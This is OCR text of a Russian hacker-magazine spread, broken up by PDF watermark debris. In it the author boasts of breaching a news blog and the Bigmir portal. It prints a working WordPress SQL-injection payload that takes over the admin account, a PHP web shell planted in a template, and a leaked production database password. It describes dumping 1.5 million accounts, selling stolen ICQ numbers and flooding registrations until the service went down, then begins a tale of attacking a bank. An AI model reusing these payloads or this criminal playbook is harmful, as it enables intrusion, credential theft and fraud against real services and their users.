$result = $wpdb->query("UPDATE $wpdb->users SET user_ login = '$new_user_login', user_firstname = '$new_ firstname', $updatepassword user_lastname='$new_ lastname', user_nickname='$new_nickname', user_icq='$new_icq', user_email='$new_email', user_ url='$new_url', user_aim=’$new_aim’, user_msn='$new_ msn', user_yim='$new_yim', user_idmode='$new_idmode', user_description = '$new_description', user_nicename = '$new_nicename' WHERE ID = $user_id");

Итак (трубят фанфары)... У нас на операционном столе — новый приватный баг WordPress, найденный твоим покорным слугой :). Для его использования необходима регистрация на уязвимом блоге.

Вообще он находится в файле wp-register.php, но на Korrespondent.net была сделана общая регистрация для всех сервисов сайта, поэтому, зарегавшись и залогинившись на сайте, я прошел по ссылке http:// korrespondent.net/wp-admin/user-edit.php и сохранил страничку себе на винт. Далее, открыв ее в блокноте, я нашел следующий участок html-кода:

xàêåð 08 /104/ 07

075

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

F

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

>>to BUY взлом

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

.c

 

 

 

 

p

 

 

 

g

 

 

 

 

 

 

df

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

warning

Все описанное в статье является плодом больного воображения автора. Любые совпадения с существующими сайтами случайны. За использование материалов статьи в противозаконных целях ни редакция, ни автор ответственности не несут.

info

Спасибо Cash’у за помощь в разработке бага!

Регистрация и аттач номеров на Бигмире

SQL-injection в http://forum.korrespondent.net

Клиентский API партнеров icq.com

<form name="edituser" id="edituser" action="user-edit.php" method="post"> <table width="99%" border="0" cellspacing="2" cellpadding="3">

Заменил его:

<form name=”edituser" id="edituser" action="http://blog.korrespondent.net/wp- admin/user-edit.php" method="post"> <table width="99%" border="0" cellspacing="2" cellpadding="3">

Затем нашел hidden-поле с user_id и заменил его:

<textarea name="user_id" rows="5" id="new_ description" style="width: 99%; "></ textarea>

После всех перечисленных действий я сохранил заряженную страницу и открыл ее в браузере.

Теперь необходимо сделать небольшое пояснение, касающееся найденной уязвимости: из SQL-запроса видно, что при update пользовательского профиля вообще не проверяется параметр $user_id, то есть таким образом мы можем обновить профиль любого юзера, но прежде всего

нам необходим админ. Как просто и быстро поставить админу свой пароль? А вот как.

В нашей ядовитой страничке вписываем в поля с логином и паролем любые логин и пароль, например tester/tester,

а в бывшее hidden-поле вбиваем: «-99 or user_level=10/*» (естественно, без кавычек). В итоге, наш скул-запрос получается следующим:

UPDATE wp_users SET user_login = 'tester', user_firstname = '',user_pass=MD5('tester'), user_lastname='', user_nickname='', user_icq='', user_email='', user_url='',

user_aim='', user_msn='', user_yim='', user_idmode='', user_description = '', user_ nicename = '' WHERE ID =-99 or user_level=10/*

Так как юзера с ID=-99 в базе данных однозначно не существует, обновятся данные лишь юзера с user_level=10, то есть админа :).

Ленивыеадмины

Став админом blog.korrespondent.net, я задумался над получением шелла на сервере. Скажу по секрету: у меня есть еще один обнаруженный мной приватный баг, позволяющий легко и безболезненно получать шелл из админок WordPress версий 1.5-2.1. Но тебе хватит и предыдущего привата :). Эта уязвимость все равно мне не понадобилась, поскольку, зайдя в «Редактор шаблонов», я увидел, что все php-файлы в template-директории открыты на запись. Теперь необходимо было тайно встроить свой шелл в один из уязвимых файлов. Я быстро набросал следующий php-код:

<?

isset($_GET[fuckkk]) ? print '$_GET[fuckkk]' : ''; ?>

И вписал его в template шапки блога. Таким образом, по адресу http://blog.korrespondent.net можно было видеть обычный блог, а на http://blog.korrespondent.net/ ?fuckkk=[команда] — красивый и удобный шелл :).

А дальше я начал изучение сервера bigmir.net. В первую очередь меня интересовала база данных Бигмира. Отправившись на поиске параметров подключения к базе, я нашел файл /storage/web/htdocs/bigmir/bigmir2/config.php, в

котором находились следующие строки:

// production define('BM_DB_HOST', 'cbd2.sm'); define('BM_DB_USER', 'bigmir');

076

xàêåð 08 /104/ 07

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

>> взломto BUY

 

 

w Click

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

 

df

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

 

Админка blog.korrespondent.net

Админка Бигмира

define('BM_DB_PASS', 'NacDagegWukecBi');

Далее я закачал на сервер скрипт управления БД от RusH Security Team (http://mentat.sibintercom.ru/Nemo/dump/rst_sql.txt, на офици-

альном сайте скрипт недоступен) и поставил его по адресу http://files. korrespondent.net/img/forall/a/4/header.php. Залогинившись с полученными данными, я минуту наблюдал долгожданную картину

— все таблицы Бигмира были передо мной :). Немного походив по ним, я нашел таблицу с юзерами в bm_global.user. Полтора миллиона регистраций, все пароли к аськам в открытом виде! Ну не чудо ли? Ты можешь наблюдать часть таблицы с пятизначными номерками на скриншоте :).

Чтодальше?

Продав все пяти-, шести- и семизначные номера из базы Бигмира с помощью друзей, я задумался, а что же делать дальше? Перспективы открывались огромные: во-первых, в моих руках был клиентский API партнеров icq.com (наблюдать его ты также можешь на скриншоте); во-вторых, мой шелл на протяжении двух недель никто не палил; а в-третьих, я нашел таблицу с админами Бигмира и у меня был доступ к http://admin.bigmir. net (сейчас доступ к админке возможен лишь с определенных IP-адресов). Решив пойти по пути наименьшего сопротивления, я стал изучать регу номеров. В результате в файле /storage/web/htdocs/bigmir/include/icq_ ips_class.php я увидел следующую функцию:

function register($password, $email, $nickName, $firstName = false, $lastName = false, $birthDay = false, $sex = false, $country = false, $city = false, $state = false)

{

...

}

И стал ваять автореггер ICQ-уинов. Создал php-гейт на Бигмире, где в цикле запустил указанную выше функцию, затем на том же php написал клиент к этому гейту и с помощью программы php2exe, которую ты можешь часто видеть на дисках, прилагаемых к журналу, перевел его в экзешник. Процитирую одного из первых покупателей этой программы (kaleostra):

Фрагмент БД с пятизнаками

Автореггер с GUI-интерфейсом

«Купил — доволен; итак, тесты: 10 мин, 4 100 номеров с семи копий, 410 в минуту с семи копий, 59 номеров в минуту с копии! Ресурсы не жрет вообще».

Как видишь, результаты ошеломляющие :). Но этого было, как обычно, мало. За несколько часов товарищ Cash написал GUI-ин- терфейс на Delphi с поддержкой потоков, и получилась довольно симпатичная прога, которую ты можешь наблюдать на скриншоте. За одну ночь 4 человека зарегали более полумиллиона уинов, в результате Бигмир повис надолго. Затем была отключена регистрация номеров, и на сервере украинского портала стали проводиться какие-то технические работы. Через день все мои бэкдор-шеллы удалили, был установлен WordPress последней версии и изменены пароли всех админов Бигмира. Но меня это ничуть не расстроило :). Покопавшись в слитом движке Бигмира, я нашел скул-инъекцию, с помощью которой снова получил доступ к базе данных :). Правда, через несколько часов его перекрыли.

В итоге, было продано очень много элитнейших уинов, зарегистрировано очень много девяток для спама (у меня самого до сих пор лежит около 250k, если будут нужны — обращайся), и, что самое главное, был подорван авторитет не только локализованного партнера icq.com http://bigmir.net, но и всего AOL’а.

На этом следует остановиться. Как видишь, даже очень крупные проекты не могут устоять перед хакерами. Стоит задуматься, какой из локализованных партнеров будет следующей жертвой безжалостного ICQ хакерского андеграунда? ;) z

Кразмышлению...

AOL поступил очень грамотно, ограничив функции локальных привязок номеров. Буквально весной еще можно было, владея мылом, к которому привязан номер, и не имея пароля к этому номеру, сменить пароль на мыле и получить этот номер в свое владение. Сейчас эта возможность действует лишь при известном тебе пароле на привязанном уине :(.

А теперь подумай, если бы Бигмир был взломан мной или еще кем-нибудь в то самое время? В подобном случае абсолютно все элитнейшие номера скопились бы в одних руках...

xàêåð 08 /104/ 07

077

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

F

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

>>to BUY взлом

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

.c

 

 

 

 

p

 

 

 

g

 

 

 

 

 

 

df

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

Виталий «root» Чернов

/ vr-soft@mail.ru /

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Бесплатный кредит

Двухсерийный взлом банка

Как-то раз я ходил погашать кредит. Ожидая на кассе своей очереди, я вдруг подумал: «Сколько можно отрывать от сердца больше половины зарплаты и тратить нервы? Чем эти жадные уроды лучше других? Вот был бы способ погасить кредит досрочно и на халяву... А почему бы и нет?» С этой мыслью я уступил место в очереди какой-то бабульке и со спокойной совестью пошел домой... ломать банк, чтобы погасить кредит без очереди.

И делал я благое дело среди царящего здесь зла

Из всего набора необходимых данных у меня был только адрес сайта этого банка — www.abnk.kz. Ни белых адресов банковских сетей, ни схемы инфраструктуры... Я даже не знал, где находится главный офис и хостится сайт. Хотя... тут я вспомнил, что, когда заключал договор с банком, у них как раз на моей очереди случились какие-то проблемы с сетью. Естественно, мне это было небезынтересно хотя бы потому, что большую часть своей профессиональной жизни я отработал сисадмином. После нескольких социнженерных уловок добрые тетеньки менеджеры выложили мне практически полную топологию своей сети. Оказалось, что главный офис у них находится в столице, а несколько дочерних в нашем городе просто подсоединены к провайдеру по

IDSL-каналам. Это означало, что если узнать белые IP-адреса главного офиса, то от взлома их сможет спасти только техника.

Недолго думая, я проверил сайт на domainsdb.net и сильно расстроил­ ся :(. Вместе с банком на сервере хостилось еще несколько контор, а это могло означать только одно: хостинг платный и не имеет никакого отношения к серверам банка. Как ни печально, но единственная зацепка оказалась пустышкой. Что ж, вариантов было немного, а потому, хорошенько затарившись на сэкономленные деньги зажигательной

жидкостью в виде окрыляющего RedBull’а, я подключил GPRS, зарядил свежий анонимный прокси и отправился на сайт в поисках хотя бы чего-нибудь полезного.

А ларчик просто открывался

Немного посерфив cgi-странички, внимательно изучив исходники, я понял, что меня ждет долгий и интересный взлом с целью погашения кредита.

Обычные SQL-инъекции, XSSили подобного рода уязвимости можно было и не пытаться искать. Движок сайта был написан вручную с нуля, причем, скорее всего, какой-то конторой под заказ. Уж больно грамотно все было сделано, хотя это и не исключало ошибок. Втыкать в случайном порядке одинарные кавычки в адресную строку мне быстро надоело. Решив не тратить время на «детские шалости», я натравил на

сайт свой любимый Xspider. Через полчаса сканирование завершилось удачей для меня!

Можно было и самому догадаться почитать robots.txt в корне сайта, но раз уж это сделала программа, то...

Короче, среди десятка строк с каталогами, которые не обходятся поисковой машиной, лежали три самых интересных.

078

xàêåð 08 /104/ 07

Соседние файлы в папке журнал хакер